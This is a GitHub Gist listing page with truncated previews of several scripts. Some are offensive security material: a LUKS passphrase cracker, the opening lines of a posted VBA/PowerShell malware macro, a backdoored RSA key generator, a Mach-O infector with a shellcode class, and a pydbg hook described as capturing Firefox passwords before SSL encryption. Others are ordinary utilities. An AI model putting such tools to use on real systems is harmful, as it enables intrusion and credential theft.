Skip to content

Instantly share code, notes, and snippets.

View jonaslejon's full-sized avatar
:octocat:
Working from home

Jonas Lejon jonaslejon

:octocat:
Working from home
View GitHub Profile
@nmattia
nmattia / crack.sh
Created March 4, 2017 23:15
Script to crack a LUKS partition given a fuzzy passphrase pattern
#!/usr/bin/env bash
set -e
the_pattern=$1
# We need to export because xargs runs in a subshell
export the_file=$2
if [ -z "${the_pattern}" ]; then
echo pattern missing
anonymous
anonymous / gist:d0da355e5c21a122866808d37234cd5d
Created October 23, 2016 00:12
PowerShell malware [posted by @JohnLaTwC]
//sample: 1554e74b935a61d446cb634f80d7d1e200e864bc
//posted by @JohnLaTwC
// Also see research by Sudeep Singh, Yin Hong Chang @ https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html
----------------------------------------------- macro ----------------------------------
Private Sub Workbook_Open()
Call doom_Init
Call doom_ShowHideSheets
End Sub
@ryancdotorg
ryancdotorg / rsabd.py
Last active August 28, 2024 00:34
backdoored rsa key generation
#!/usr/bin/env python
import sys
import gmpy
import curve25519
from struct import pack
from hashlib import sha256
from binascii import hexlify, unhexlify
@secretsquirrel
secretsquirrel / osx_infector.py
Last active March 31, 2021 19:33
From Shmoocon infection demo
import os
import struct
import shutil
import subprocess
class macho_intel32_shellcode():
"""
Mach-O Intel x32 shellcode class
"""
@grugq
grugq / gist:03167bed45e774551155
Last active October 30, 2024 02:44
operational pgp - draft

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

@jonaslejon
jonaslejon / tarsnap-install.sh
Last active February 3, 2017 06:46
Tarsnap install
#!/bin/sh
#
# Author: Jonas Lejon <[email protected]>
# 2014-05-30 For Ubuntu
#
# Usage:
# ./tarsnap-install.sh <tarsnap-email>
#
if [ -z "$1" ]
then
@jonaslejon
jonaslejon / Mailgun PHP API with curl
Last active July 31, 2021 21:29
Send mail with Mailgun API version 2 and PHP. Should also work with version 3 of the Mailgun API
define("DOMAIN", "test.se");
define("MAILGUN_API", "XXX123"); // Mailgun Private API Key
function br2nl($string) {
return preg_replace('/\<br(\s*)?\/?\>/i', "\n", $string);
}
function mg_send($to, $subject, $message) {
$ch = curl_init();
@RobinDavid
RobinDavid / pydbg_firefox.py
Created February 25, 2014 17:39
Pydbg: sample to hook a firefox function to retrieve credentials (Gray Hat Python book)
'''
Example taken from Gray Hat Python (book)
This script present a way to hook a DLL library in Firefox. For this example the script hook nspr4.dll which encrypt datas for SSL connection.
So we will be able to get the text before it is encrypted. Moreover we catch a pattern "password" to get all login/password before they are ciphered.
'''
from pydbg import *
from pydbg.defines import *
import utils
/*
* TGDFileHash.c
* TagAdA: Tagging Advanced Application
*
* Copyright © 2008-2010 The TagAdA Team. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
@ecin
ecin / phantomjs_facebook.js
Created April 23, 2012 21:06
Log into Facebook with phantomJS
console.log("got here");
var page = require('webpage').create();
page.onConsoleMessage = function(msg) {
console.log(msg);
};
page.open("http://facebook.com", function(status) {
if ( status === "success" ) {